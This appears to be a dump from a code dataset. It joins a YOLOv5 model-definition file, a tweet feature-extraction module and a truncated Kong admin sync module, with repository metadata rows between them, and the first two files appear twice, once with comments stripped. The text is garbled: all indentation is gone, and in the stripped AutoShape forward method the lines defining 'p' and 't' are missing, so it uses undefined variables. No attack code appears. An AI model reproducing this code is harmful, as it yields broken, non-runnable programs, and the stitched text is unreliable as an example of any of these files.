x = np.ascontiguousarray(x.transpose((0, 3, 1, 2))) # BHWC to BCHW
x = torch.from_numpy(x).to(p.device).type_as(p) / 255. # uint8 to fp16/32
t.append(time_sync())
with amp.autocast(enabled=p.device.type != 'cpu'):
# Inference
y = self.model(x, augment, profile)[0] # forward
t.append(time_sync())
# Post-process
y = non_max_suppression(y, self.conf, iou_thres=self.iou, classes=self.classes,
multi_label=self.multi_label, max_det=self.max_det) # NMS
for i in range(n):
scale_coords(shape1, y[i][:, :4], shape0[i])
t.append(time_sync())
return Detections(imgs, y, files, t, self.names, x.shape)
class Detections:
# YOLOv5 detections class for inference results
def __init__(self, imgs, pred, files, times=None, names=None, shape=None):
super().__init__()
d = pred[0].device # device
gn = [torch.tensor([*[im.shape[i] for i in [1, 0, 1, 0]], 1., 1.], device=d) for im in imgs] # normalizations
self.imgs = imgs # list of images as numpy arrays
self.pred = pred # list of tensors pred[0] = (xyxy, conf, cls)
self.names = names # class names
self.files = files # image filenames
self.xyxy = pred # xyxy pixels
self.xywh = [xyxy2xywh(x) for x in pred] # xywh pixels
self.xyxyn = [x / g for x, g in zip(self.xyxy, gn)] # xyxy normalized
self.xywhn = [x / g for x, g in zip(self.xywh, gn)] # xywh normalized
self.n = len(self.pred) # number of images (batch size)
self.t = tuple((times[i + 1] - times[i]) * 1000 / self.n for i in range(3)) # timestamps (ms)
self.s = shape # inference BCHW shape
def display(self, pprint=False, show=False, save=False, crop=False, render=False, save_dir=Path('')):
crops = []
for i, (im, pred) in enumerate(zip(self.imgs, self.pred)):
s = f'image {i + 1}/{len(self.pred)}: {im.shape[0]}x{im.shape[1]} ' # string
if pred.shape[0]:
for c in pred[:, -1].unique():
n = (pred[:, -1] == c).sum() # detections per class
s += f"{n} {self.names[int(c)]}{'s' * (n > 1)}, " # add to string
if show or save or render or crop:
annotator = Annotator(im, example=str(self.names))
for *box, conf, cls in reversed(pred): # xyxy, confidence, class
label = f'{self.names[int(cls)]} {conf:.2f}'
if crop:
file = save_dir / 'crops' / self.names[int(cls)] / self.files[i] if save else None
crops.append({'box': box, 'conf': conf, 'cls': cls, 'label': label,
'im': save_one_box(box, im, file=file, save=save)})
else: # all others
annotator.box_label(box, label, color=colors(cls))
im = annotator.im
else:
s += '(no detections)'
im = Image.fromarray(im.astype(np.uint8)) if isinstance(im, np.ndarray) else im # from np
if pprint:
LOGGER.info(s.rstrip(', '))
if show:
im.show(self.files[i]) # show
if save:
f = self.files[i]
im.save(save_dir / f) # save
if i == self.n - 1:
LOGGER.info(f"Saved {self.n} image{'s' * (self.n > 1)} to {colorstr('bold', save_dir)}")
if render:
self.imgs[i] = np.asarray(im)
if crop:
if save:
LOGGER.info(f'Saved results to {save_dir}\n')
return crops
def print(self):
self.display(pprint=True) # print results
LOGGER.info(f'Speed: %.1fms pre-process, %.1fms inference, %.1fms NMS per image at shape {tuple(self.s)}' %
self.t)
def show(self):
self.display(show=True) # show results
def save(self, save_dir='runs/detect/exp'):
save_dir = increment_path(save_dir, exist_ok=save_dir != 'runs/detect/exp', mkdir=True) # increment save_dir
self.display(save=True, save_dir=save_dir) # save results
def crop(self, save=True, save_dir='runs/detect/exp'):
save_dir = increment_path(save_dir, exist_ok=save_dir != 'runs/detect/exp', mkdir=True) if save else None
return self.display(crop=True, save=save, save_dir=save_dir) # crop results
def render(self):
self.display(render=True) # render results
return self.imgs
def pandas(self):
# return detections as pandas DataFrames, i.e. print(results.pandas().xyxy[0])
new = copy(self) # return copy
ca = 'xmin', 'ymin', 'xmax', 'ymax', 'confidence', 'class', 'name' # xyxy columns
cb = 'xcenter', 'ycenter', 'width', 'height', 'confidence', 'class', 'name' # xywh columns
for k, c in zip(['xyxy', 'xyxyn', 'xywh', 'xywhn'], [ca, ca, cb, cb]):
a = [[x[:5] + [int(x[5]), self.names[int(x[5])]] for x in x.tolist()] for x in getattr(self, k)] # update
setattr(new, k, [pd.DataFrame(x, columns=c) for x in a])
return new
def tolist(self):
# return a list of Detections objects, i.e. 'for result in results.tolist():'
x = [Detections([self.imgs[i]], [self.pred[i]], self.names, self.s) for i in range(self.n)]
for d in x:
for k in ['imgs', 'pred', 'xyxy', 'xyxyn', 'xywh', 'xywhn']:
setattr(d, k, getattr(d, k)[0]) # pop out of list
return x
def __len__(self):
return self.n
class Classify(nn.Module):
# Classification head, i.e. x(b,c1,20,20) to x(b,c2)
def __init__(self, c1, c2, k=1, s=1, p=None, g=1): # ch_in, ch_out, kernel, stride, padding, groups
super().__init__()
self.aap = nn.AdaptiveAvgPool2d(1) # to x(b,c1,1,1)
self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g) # to x(b,c2,1,1)
self.flat = nn.Flatten()
def forward(self, x):
z = torch.cat([self.aap(y) for y in (x if isinstance(x, list) else [x])], 1) # cat if list
return self.flat(self.conv(z)) # flatten to x(b,c2)
| 42.744681 | 118 | 0.564808 |
import logging
import math
import warnings
from copy import copy
from pathlib import Path
import numpy as np
import pandas as pd
import requests
import torch
import torch.nn as nn
from PIL import Image
from torch.cuda import amp
from utils.datasets import exif_transpose, letterbox
from utils.general import colorstr, increment_path, make_divisible, non_max_suppression, save_one_box, \
scale_coords, xyxy2xywh
from utils.plots import Annotator, colors
from utils.torch_utils import time_sync
LOGGER = logging.getLogger(__name__)
def autopad(k, p=None):
if p is None:
p = k // 2 if isinstance(k, int) else [x // 2 for x in k]
return p
class Conv(nn.Module):
def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True):
super().__init__()
self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=False)
self.bn = nn.BatchNorm2d(c2)
self.act = nn.SiLU() if act is True else (act if isinstance(act, nn.Module) else nn.Identity())
def forward(self, x):
return self.act(self.bn(self.conv(x)))
def forward_fuse(self, x):
return self.act(self.conv(x))
class DWConv(Conv):
def __init__(self, c1, c2, k=1, s=1, act=True):
super().__init__(c1, c2, k, s, g=math.gcd(c1, c2), act=act)
class TransformerLayer(nn.Module):
def __init__(self, c, num_heads):
super().__init__()
self.q = nn.Linear(c, c, bias=False)
self.k = nn.Linear(c, c, bias=False)
self.v = nn.Linear(c, c, bias=False)
self.ma = nn.MultiheadAttention(embed_dim=c, num_heads=num_heads)
self.fc1 = nn.Linear(c, c, bias=False)
self.fc2 = nn.Linear(c, c, bias=False)
def forward(self, x):
x = self.ma(self.q(x), self.k(x), self.v(x))[0] + x
x = self.fc2(self.fc1(x)) + x
return x
class TransformerBlock(nn.Module):
def __init__(self, c1, c2, num_heads, num_layers):
super().__init__()
self.conv = None
if c1 != c2:
self.conv = Conv(c1, c2)
self.linear = nn.Linear(c2, c2)
self.tr = nn.Sequential(*[TransformerLayer(c2, num_heads) for _ in range(num_layers)])
self.c2 = c2
def forward(self, x):
if self.conv is not None:
x = self.conv(x)
b, _, w, h = x.shape
p = x.flatten(2).unsqueeze(0).transpose(0, 3).squeeze(3)
return self.tr(p + self.linear(p)).unsqueeze(3).transpose(0, 3).reshape(b, self.c2, w, h)
class Bottleneck(nn.Module):
def __init__(self, c1, c2, shortcut=True, g=1, e=0.5):
super().__init__()
c_ = int(c2 * e)
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = Conv(c_, c2, 3, 1, g=g)
self.add = shortcut and c1 == c2
def forward(self, x):
return x + self.cv2(self.cv1(x)) if self.add else self.cv2(self.cv1(x))
class BottleneckCSP(nn.Module):
def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5):
super().__init__()
c_ = int(c2 * e)
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = nn.Conv2d(c1, c_, 1, 1, bias=False)
self.cv3 = nn.Conv2d(c_, c_, 1, 1, bias=False)
self.cv4 = Conv(2 * c_, c2, 1, 1)
self.bn = nn.BatchNorm2d(2 * c_)
self.act = nn.LeakyReLU(0.1, inplace=True)
self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)])
def forward(self, x):
y1 = self.cv3(self.m(self.cv1(x)))
y2 = self.cv2(x)
return self.cv4(self.act(self.bn(torch.cat((y1, y2), dim=1))))
class C3(nn.Module):
def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5):
super().__init__()
c_ = int(c2 * e)
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = Conv(c1, c_, 1, 1)
self.cv3 = Conv(2 * c_, c2, 1)
self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)])
def forward(self, x):
return self.cv3(torch.cat((self.m(self.cv1(x)), self.cv2(x)), dim=1))
class C3TR(C3):
def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5):
super().__init__(c1, c2, n, shortcut, g, e)
c_ = int(c2 * e)
self.m = TransformerBlock(c_, c_, 4, n)
class C3SPP(C3):
def __init__(self, c1, c2, k=(5, 9, 13), n=1, shortcut=True, g=1, e=0.5):
super().__init__(c1, c2, n, shortcut, g, e)
c_ = int(c2 * e)
self.m = SPP(c_, c_, k)
class C3Ghost(C3):
def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5):
super().__init__(c1, c2, n, shortcut, g, e)
c_ = int(c2 * e)
self.m = nn.Sequential(*[GhostBottleneck(c_, c_) for _ in range(n)])
class SPP(nn.Module):
def __init__(self, c1, c2, k=(5, 9, 13)):
super().__init__()
c_ = c1 // 2
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = Conv(c_ * (len(k) + 1), c2, 1, 1)
self.m = nn.ModuleList([nn.MaxPool2d(kernel_size=x, stride=1, padding=x // 2) for x in k])
def forward(self, x):
x = self.cv1(x)
with warnings.catch_warnings():
warnings.simplefilter('ignore')
return self.cv2(torch.cat([x] + [m(x) for m in self.m], 1))
class SPPF(nn.Module):
def __init__(self, c1, c2, k=5):
super().__init__()
c_ = c1 // 2
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = Conv(c_ * 4, c2, 1, 1)
self.m = nn.MaxPool2d(kernel_size=k, stride=1, padding=k // 2)
def forward(self, x):
x = self.cv1(x)
with warnings.catch_warnings():
warnings.simplefilter('ignore')
y1 = self.m(x)
y2 = self.m(y1)
return self.cv2(torch.cat([x, y1, y2, self.m(y2)], 1))
class Focus(nn.Module):
def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True):
super().__init__()
self.conv = Conv(c1 * 4, c2, k, s, p, g, act)
def forward(self, x):
return self.conv(torch.cat([x[..., ::2, ::2], x[..., 1::2, ::2], x[..., ::2, 1::2], x[..., 1::2, 1::2]], 1))
class GhostConv(nn.Module):
def __init__(self, c1, c2, k=1, s=1, g=1, act=True):
super().__init__()
c_ = c2 // 2
self.cv1 = Conv(c1, c_, k, s, None, g, act)
self.cv2 = Conv(c_, c_, 5, 1, None, c_, act)
def forward(self, x):
y = self.cv1(x)
return torch.cat([y, self.cv2(y)], 1)
class GhostBottleneck(nn.Module):
def __init__(self, c1, c2, k=3, s=1):
super().__init__()
c_ = c2 // 2
self.conv = nn.Sequential(GhostConv(c1, c_, 1, 1),
DWConv(c_, c_, k, s, act=False) if s == 2 else nn.Identity(),
GhostConv(c_, c2, 1, 1, act=False))
self.shortcut = nn.Sequential(DWConv(c1, c1, k, s, act=False),
Conv(c1, c2, 1, 1, act=False)) if s == 2 else nn.Identity()
def forward(self, x):
return self.conv(x) + self.shortcut(x)
class Contract(nn.Module):
def __init__(self, gain=2):
super().__init__()
self.gain = gain
def forward(self, x):
b, c, h, w = x.size()
s = self.gain
x = x.view(b, c, h // s, s, w // s, s)
x = x.permute(0, 3, 5, 1, 2, 4).contiguous()
return x.view(b, c * s * s, h // s, w // s)
class Expand(nn.Module):
def __init__(self, gain=2):
super().__init__()
self.gain = gain
def forward(self, x):
b, c, h, w = x.size()
s = self.gain
x = x.view(b, s, s, c // s ** 2, h, w)
x = x.permute(0, 3, 4, 1, 5, 2).contiguous()
return x.view(b, c // s ** 2, h * s, w * s)
class Concat(nn.Module):
def __init__(self, dimension=1):
super().__init__()
self.d = dimension
def forward(self, x):
return torch.cat(x, self.d)
class AutoShape(nn.Module):
conf = 0.25
iou = 0.45
classes = None
multi_label = False
max_det = 1000
def __init__(self, model):
super().__init__()
self.model = model.eval()
def autoshape(self):
LOGGER.info('AutoShape already enabled, skipping... ')
return self
def _apply(self, fn):
self = super()._apply(fn)
m = self.model.model[-1]
m.stride = fn(m.stride)
m.grid = list(map(fn, m.grid))
if isinstance(m.anchor_grid, list):
m.anchor_grid = list(map(fn, m.anchor_grid))
return self
@torch.no_grad()
def forward(self, imgs, size=640, augment=False, profile=False):
if isinstance(imgs, torch.Tensor):
with amp.autocast(enabled=p.device.type != 'cpu'):
return self.model(imgs.to(p.device).type_as(p), augment, profile)
n, imgs = (len(imgs), imgs) if isinstance(imgs, list) else (1, [imgs])
shape0, shape1, files = [], [], []
for i, im in enumerate(imgs):
f = f'image{i}'
if isinstance(im, (str, Path)):
im, f = Image.open(requests.get(im, stream=True).raw if str(im).startswith('http') else im), im
im = np.asarray(exif_transpose(im))
elif isinstance(im, Image.Image):
im, f = np.asarray(exif_transpose(im)), getattr(im, 'filename', f) or f
files.append(Path(f).with_suffix('.jpg').name)
if im.shape[0] < 5:
im = im.transpose((1, 2, 0))
im = im[..., :3] if im.ndim == 3 else np.tile(im[..., None], 3)
s = im.shape[:2]
shape0.append(s)
g = (size / max(s))
shape1.append([y * g for y in s])
imgs[i] = im if im.data.contiguous else np.ascontiguousarray(im)
shape1 = [make_divisible(x, int(self.stride.max())) for x in np.stack(shape1, 0).max(0)]
x = [letterbox(im, new_shape=shape1, auto=False)[0] for im in imgs]
x = np.stack(x, 0) if n > 1 else x[0][None]
x = np.ascontiguousarray(x.transpose((0, 3, 1, 2)))
x = torch.from_numpy(x).to(p.device).type_as(p) / 255.
t.append(time_sync())
with amp.autocast(enabled=p.device.type != 'cpu'):
y = self.model(x, augment, profile)[0]
t.append(time_sync())
y = non_max_suppression(y, self.conf, iou_thres=self.iou, classes=self.classes,
multi_label=self.multi_label, max_det=self.max_det)
for i in range(n):
scale_coords(shape1, y[i][:, :4], shape0[i])
t.append(time_sync())
return Detections(imgs, y, files, t, self.names, x.shape)
class Detections:
def __init__(self, imgs, pred, files, times=None, names=None, shape=None):
super().__init__()
d = pred[0].device
gn = [torch.tensor([*[im.shape[i] for i in [1, 0, 1, 0]], 1., 1.], device=d) for im in imgs]
self.imgs = imgs
self.pred = pred
self.names = names
self.files = files
self.xyxy = pred
self.xywh = [xyxy2xywh(x) for x in pred]
self.xyxyn = [x / g for x, g in zip(self.xyxy, gn)]
self.xywhn = [x / g for x, g in zip(self.xywh, gn)]
self.n = len(self.pred)
self.t = tuple((times[i + 1] - times[i]) * 1000 / self.n for i in range(3))
self.s = shape
def display(self, pprint=False, show=False, save=False, crop=False, render=False, save_dir=Path('')):
crops = []
for i, (im, pred) in enumerate(zip(self.imgs, self.pred)):
s = f'image {i + 1}/{len(self.pred)}: {im.shape[0]}x{im.shape[1]} '
if pred.shape[0]:
for c in pred[:, -1].unique():
n = (pred[:, -1] == c).sum()
s += f"{n} {self.names[int(c)]}{'s' * (n > 1)}, "
if show or save or render or crop:
annotator = Annotator(im, example=str(self.names))
for *box, conf, cls in reversed(pred):
label = f'{self.names[int(cls)]} {conf:.2f}'
if crop:
file = save_dir / 'crops' / self.names[int(cls)] / self.files[i] if save else None
crops.append({'box': box, 'conf': conf, 'cls': cls, 'label': label,
'im': save_one_box(box, im, file=file, save=save)})
else:
annotator.box_label(box, label, color=colors(cls))
im = annotator.im
else:
s += '(no detections)'
im = Image.fromarray(im.astype(np.uint8)) if isinstance(im, np.ndarray) else im
if pprint:
LOGGER.info(s.rstrip(', '))
if show:
im.show(self.files[i])
if save:
f = self.files[i]
im.save(save_dir / f)
if i == self.n - 1:
LOGGER.info(f"Saved {self.n} image{'s' * (self.n > 1)} to {colorstr('bold', save_dir)}")
if render:
self.imgs[i] = np.asarray(im)
if crop:
if save:
LOGGER.info(f'Saved results to {save_dir}\n')
return crops
def print(self):
self.display(pprint=True)
LOGGER.info(f'Speed: %.1fms pre-process, %.1fms inference, %.1fms NMS per image at shape {tuple(self.s)}' %
self.t)
def show(self):
self.display(show=True)
def save(self, save_dir='runs/detect/exp'):
save_dir = increment_path(save_dir, exist_ok=save_dir != 'runs/detect/exp', mkdir=True)
self.display(save=True, save_dir=save_dir)
def crop(self, save=True, save_dir='runs/detect/exp'):
save_dir = increment_path(save_dir, exist_ok=save_dir != 'runs/detect/exp', mkdir=True) if save else None
return self.display(crop=True, save=save, save_dir=save_dir)
def render(self):
self.display(render=True)
return self.imgs
def pandas(self):
new = copy(self)
ca = 'xmin', 'ymin', 'xmax', 'ymax', 'confidence', 'class', 'name'
cb = 'xcenter', 'ycenter', 'width', 'height', 'confidence', 'class', 'name'
for k, c in zip(['xyxy', 'xyxyn', 'xywh', 'xywhn'], [ca, ca, cb, cb]):
a = [[x[:5] + [int(x[5]), self.names[int(x[5])]] for x in x.tolist()] for x in getattr(self, k)]
setattr(new, k, [pd.DataFrame(x, columns=c) for x in a])
return new
def tolist(self):
x = [Detections([self.imgs[i]], [self.pred[i]], self.names, self.s) for i in range(self.n)]
for d in x:
for k in ['imgs', 'pred', 'xyxy', 'xyxyn', 'xywh', 'xywhn']:
setattr(d, k, getattr(d, k)[0])
return x
def __len__(self):
return self.n
class Classify(nn.Module):
def __init__(self, c1, c2, k=1, s=1, p=None, g=1):
super().__init__()
self.aap = nn.AdaptiveAvgPool2d(1)
self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g)
self.flat = nn.Flatten()
def forward(self, x):
z = torch.cat([self.aap(y) for y in (x if isinstance(x, list) else [x])], 1)
return self.flat(self.conv(z))
| true | true |
f7f35d64aba4f90528e3c4ee206ba7e0158dd50b | 4,683 | py | Python | code/featureExtraction/featureExtractor.py | farahu/socialunrestpredictor | 92ecd523c55f9afcf9a6e69ea4a2cb2857887327 | [
"MIT"
] | 1 | 2020-12-04T13:03:15.000Z | 2020-12-04T13:03:15.000Z | code/featureExtraction/featureExtractor.py | farahu/socialunrestpredictor | 92ecd523c55f9afcf9a6e69ea4a2cb2857887327 | [
"MIT"
] | null | null | null | code/featureExtraction/featureExtractor.py | farahu/socialunrestpredictor | 92ecd523c55f9afcf9a6e69ea4a2cb2857887327 | [
"MIT"
] | null | null | null | import collections
import operator
import os
import sys
sys.path.insert(0, "/Users/tariq/Dev/School/socialunrestpredictor/code/featureExtraction")
from bagOfWords import BagOfWords
from bagOfClusters import BagOfClusters
sys.path.insert(0, "/Users/tariq/Dev/School/socialunrestpredictor/code/featureExtraction/stopWord")
from stopWordRemoval import removePunctuation
from stopWordRemoval import StopWordRemover
class FeatureExtractor:
class ModelType:
BagOfWords = 1
BagOfClusters = 2
def __init__(self, modelType = 1):
self.modelType = modelType
def bagTweets(self, setOfTweetsWordCount):
"""" takes in a word count dictionary {word, wordCount}
for a set of tweets and outputs a frequency vector """
# we generate one frequency vector for reach set
freqVector = []
# loop through our bag of words model
for ithWord in self.bog.bog:
freqVector.append(setOfTweetsWordCount[ithWord])
return freqVector
def getWordCountDict(self, setOfTweets):
""" takes a set of tweets and returns a dictionary of word -> wordCount"""
wordCount = collections.defaultdict(int)
for tweet in setOfTweets:
for word in tweet:
wordCount[word] += 1
return wordCount
def removePuncStopTokenize(self, setsOfSets, stopWordRemover):
""" removes punctuation, removes stop words and tokenizes tweets
into word arrays"""
newSets = []
# loop through each set
for curSet in setsOfSets:
stoppedSet = []
for i, tweet in enumerate(curSet):
# remove punctuation
updatedTweet = removePunctuation(tweet)
stoppedSet.append(stopWordRemover.removeStopWords(updatedTweet))
newSets.append(stoppedSet)
return newSets
def extractTrainFeatureVectors(self, allTrainData):
""" takes in 2 sets of tweets. One for train 0 and for train 1
and turns each set in both of these pool into a feature vector"""
setsOfSets0, setsOfSets1 = allTrainData
stopWordRemover = StopWordRemover()
# prune our sets of sets of tweets and tokenize
setsOfSets0 = self.removePuncStopTokenize(setsOfSets0, stopWordRemover)
setsOfSets1 = self.removePuncStopTokenize(setsOfSets1, stopWordRemover)
# generate bag of words from the label 1 train pool
# allow for choosing which model we're using
X0, X1 = [], []
if self.modelType == self.ModelType.BagOfWords:
# bag of words model
self.bog = BagOfWords()
self.bog.generateBag(setsOfSets0, setsOfSets1)
self.bog.saveBoG()
# now we want to generate a feature vector for each set. Right now the last
# step to generate these feature vecotrs is just bagging
for setOfTweets in setsOfSets0:
# convert each set of tweets to a wordCount dictionary
setWordCountDict = self.getWordCountDict(setOfTweets)
# bag the set of tweets through its wordCount dictionary
X0.append(self.bagTweets(setWordCountDict))
# do the same for X1
for setOfTweets in setsOfSets1:
# convert each set of tweets to a wordCount dictionary
setWordCountDict = self.getWordCountDict(setOfTweets)
# bag the set of tweets through its wordCount dictionary
X1.append(self.bagTweets(setWordCountDict))
elif self.modelType == self.ModelType.BagOfClusters:
# bag of cluster generation from training
self.boc = BagOfClusters()
self.boc.generateBag(setsOfSets0, setsOfSets1)
X0, X1 = self.boc.bagTweets(setsOfSets0, setsOfSets1)
return X0, X1
def extractTestFeatureVectors(self, allTestData):
stopWordRemover = StopWordRemover()
# prune our sets of sets of tweets and tokenize
allTestData = self.removePuncStopTokenize(allTestData, stopWordRemover)
# now we want to generate a feature vector for each set. Right now the last
# step to generate these feature vecotrs is just bagging
testFeatureVectors = []
for setOfTweets in allTestData:
# convert each set of tweets to a wordCount dictionary
setWordCountDict = self.getWordCountDict(setOfTweets)
# bag the set of tweets through its wordCount dictionary
testFeatureVectors.append(self.bagTweets(setWordCountDict))
return testFeatureVectors
| 34.688889 | 99 | 0.658339 | import collections
import operator
import os
import sys
sys.path.insert(0, "/Users/tariq/Dev/School/socialunrestpredictor/code/featureExtraction")
from bagOfWords import BagOfWords
from bagOfClusters import BagOfClusters
sys.path.insert(0, "/Users/tariq/Dev/School/socialunrestpredictor/code/featureExtraction/stopWord")
from stopWordRemoval import removePunctuation
from stopWordRemoval import StopWordRemover
class FeatureExtractor:
class ModelType:
BagOfWords = 1
BagOfClusters = 2
def __init__(self, modelType = 1):
self.modelType = modelType
def bagTweets(self, setOfTweetsWordCount):
freqVector = []
for ithWord in self.bog.bog:
freqVector.append(setOfTweetsWordCount[ithWord])
return freqVector
def getWordCountDict(self, setOfTweets):
wordCount = collections.defaultdict(int)
for tweet in setOfTweets:
for word in tweet:
wordCount[word] += 1
return wordCount
def removePuncStopTokenize(self, setsOfSets, stopWordRemover):
newSets = []
for curSet in setsOfSets:
stoppedSet = []
for i, tweet in enumerate(curSet):
updatedTweet = removePunctuation(tweet)
stoppedSet.append(stopWordRemover.removeStopWords(updatedTweet))
newSets.append(stoppedSet)
return newSets
def extractTrainFeatureVectors(self, allTrainData):
setsOfSets0, setsOfSets1 = allTrainData
stopWordRemover = StopWordRemover()
setsOfSets0 = self.removePuncStopTokenize(setsOfSets0, stopWordRemover)
setsOfSets1 = self.removePuncStopTokenize(setsOfSets1, stopWordRemover)
X0, X1 = [], []
if self.modelType == self.ModelType.BagOfWords:
# bag of words model
self.bog = BagOfWords()
self.bog.generateBag(setsOfSets0, setsOfSets1)
self.bog.saveBoG()
# now we want to generate a feature vector for each set. Right now the last
# step to generate these feature vecotrs is just bagging
for setOfTweets in setsOfSets0:
# convert each set of tweets to a wordCount dictionary
setWordCountDict = self.getWordCountDict(setOfTweets)
# bag the set of tweets through its wordCount dictionary
X0.append(self.bagTweets(setWordCountDict))
# do the same for X1
for setOfTweets in setsOfSets1:
# convert each set of tweets to a wordCount dictionary
setWordCountDict = self.getWordCountDict(setOfTweets)
# bag the set of tweets through its wordCount dictionary
X1.append(self.bagTweets(setWordCountDict))
elif self.modelType == self.ModelType.BagOfClusters:
# bag of cluster generation from training
self.boc = BagOfClusters()
self.boc.generateBag(setsOfSets0, setsOfSets1)
X0, X1 = self.boc.bagTweets(setsOfSets0, setsOfSets1)
return X0, X1
def extractTestFeatureVectors(self, allTestData):
stopWordRemover = StopWordRemover()
# prune our sets of sets of tweets and tokenize
allTestData = self.removePuncStopTokenize(allTestData, stopWordRemover)
# now we want to generate a feature vector for each set. Right now the last
# step to generate these feature vecotrs is just bagging
testFeatureVectors = []
for setOfTweets in allTestData:
# convert each set of tweets to a wordCount dictionary
setWordCountDict = self.getWordCountDict(setOfTweets)
# bag the set of tweets through its wordCount dictionary
testFeatureVectors.append(self.bagTweets(setWordCountDict))
return testFeatureVectors
| true | true |
f7f35d878eaecf1ab18239c633cd9b6065419b33 | 7,399 | py | Python | kong_admin/sync/base.py | peterayeni/django-kong-admin | 05ef35ac75e2f823a2af90e146fe90bf8e21221d | [
"BSD-3-Clause"
] | 2 | 2019-05-01T05:54:23.000Z | 2019-06-16T14:04:33.000Z | kong_admin/sync/base.py | peterayeni/django-kong-admin | 05ef35ac75e2f823a2af90e146fe90bf8e21221d | [
"BSD-3-Clause"
] | null | null | null | kong_admin/sync/base.py | peterayeni/django-kong-admin | 05ef35ac75e2f823a2af90e146fe90bf8e21221d | [
"BSD-3-Clause"
] | 2 | 2019-06-16T14:04:41.000Z | 2021-04-06T08:36:30.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals, print_function
import logging
from django.db import transaction
from django.utils import timezone
from six import with_metaclass
from abc import ABCMeta, abstractmethod
logger = logging.getLogger(__name__)
class KongProxySyncEngine(with_metaclass(ABCMeta, object)):
@abstractmethod
def get_proxy_class(self):
"""
:return: Returns the actual class of the KongProxyModel were working with
"""
@abstractmethod
def on_retrieve_all(self, client):
"""
Called to retrieve all objects from kong
:param client:
:type client: kong.contract.KongAdminContract
:return: collections.Iterable
"""
@abstractmethod
def is_published(self, client, kong_id, parent_kong_id=None):
"""
Caleld to check whether an object is known at kong
:param client:
:param kong_id:
:param parent_kong_id:
:return:
"""
@abstractmethod
def on_publish(self, client, obj):
"""
Called to publish a KongProxyModel to Kong
:param client:
:type client: kong.contract.KongAdminContract
:param obj:
:type obj: kong_admin.models.KongProxyModel
:rtype: uuid.UUID
:return: The uuid of the newly published object
"""
@abstractmethod
def on_withdraw_by_id(self, client, kong_id, parent_kong_id=None):
"""
Called to withdraw an object from Kong by its 'Kong ID'
:param client:
:type client: kong.contract.KongAdminContract
:param kong_id:
:type kong_id: uuid.UUID
:param parent_kong_id: Optional reference to a parent object
:type parent_kong_id: uuid.UUID
"""
def on_withdraw(self, client, obj):
"""
Called to withdraw a KongProxyModel from Kong
:param client:
:type client: kong.contract.KongAdminContract
:param obj:
:type obj: kong_admin.models.KongProxyModel
"""
parent_object = self.get_parent_object(obj)
if obj.kong_id is None:
return obj
return self.on_withdraw_by_id(
client, str(obj.kong_id), str(parent_object.kong_id) if parent_object is not None else None)
def before_publish(self, client, obj):
parent_object = self.get_parent_object(obj)
if obj.kong_id is None:
return
if not self.is_published(client, obj.kong_id, parent_object.kong_id if parent_object is not None else None):
obj.kong_id = None
self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id)
def after_publish(self, client, obj):
obj.synchronized_at = timezone.now()
obj.synchronized = True
# Doing this instead of saving will prevent the save signal from being send out!!!
self.get_proxy_class().objects.filter(id=obj.id).update(
synchronized=obj.synchronized, synchronized_at=obj.synchronized_at)
def before_withdraw(self, client, obj):
pass
def after_withdraw(self, client, obj):
obj.synchronized_at = None
obj.synchronized = False
# Doing this instead of saving will prevent the save signal from being send out!!!
self.get_proxy_class().objects.filter(id=obj.id).update(
synchronized=obj.synchronized, synchronized_at=obj.synchronized_at)
def get_parent_object(self, obj):
"""
Returns a parent object for a given object
:param obj:
:return:
"""
def get_parent_key(self):
"""
Returns the key that references the parent object
:return:
"""
def publish(self, client, obj):
"""
Publish a KongProxyModel to Kong
:param client:
:type client: kong.contract.KongAdminContract
:param obj:
:type obj: kong_admin.models.KongProxyModel
:rtype: kong_admin.models.KongProxyModel
:return: The KongProxyModel that has been published to Kong
"""
with transaction.atomic():
self.before_publish(client, obj)
kong_id = self.on_publish(client, obj)
# Always update the kong_id
obj.kong_id = kong_id
self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id)
with transaction.atomic():
self.after_publish(client, obj)
return obj
def withdraw(self, client, obj):
"""
Withdraw a KongProxy model from Kong
:param client:
:type client: kong.contract.KongAdminContract
:param obj:
:type obj: kong_admin.models.KongProxyModel
:rtype: kong_admin.models.KongProxyModel
:return: The KongProxyModel that has been withdrawn from Kong
"""
with transaction.atomic():
self.before_withdraw(client, obj)
self.on_withdraw(client, obj)
# Always update the kong_id
obj.kong_id = None
self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id)
with transaction.atomic():
self.after_withdraw(client, obj)
return obj
def withdraw_by_id(self, client, kong_id, parent_kong_id=None):
"""
Withdraw an object from Kong by its 'Kong ID'
:param client:
:type client: kong.contract.KongAdminContract
:param kong_id: The id of the object, as it is known by Kong
:type kong_id: uuid.UUID
:rtype: kong_admin.models.KongProxyModel
:return: The kong_id of the object that has been withdrawn from Kong
"""
try:
obj = self.get_proxy_class().objects.get(kong_id=kong_id)
except self.get_proxy_class().DoesNotExist:
obj = None
if obj is not None:
return self.withdraw(client, obj)
# We don't have a reference to that API anymore. Just try to remove it remotely
self.on_withdraw_by_id(client, kong_id, parent_kong_id)
return obj
def synchronize(self, client, queryset=None, delete=False):
"""
:param client: The client to use
:type client: kong.contract.KongAdminContract
:param queryset: A queryset containing KongProxyModel objects
:type queryset: django.db.models.QuerySet.
:param delete: Whether or not to delete the object in the Kong service, if there is no model.
:type delete: bool
:return:
"""
# Make sure we have a queryset
queryset = queryset or self.get_proxy_class().objects.all()
# Delete remote api's that do not exist in this database
if delete:
for kong_struct in self.on_retrieve_all(client):
kong_id = kong_struct.get('id', None)
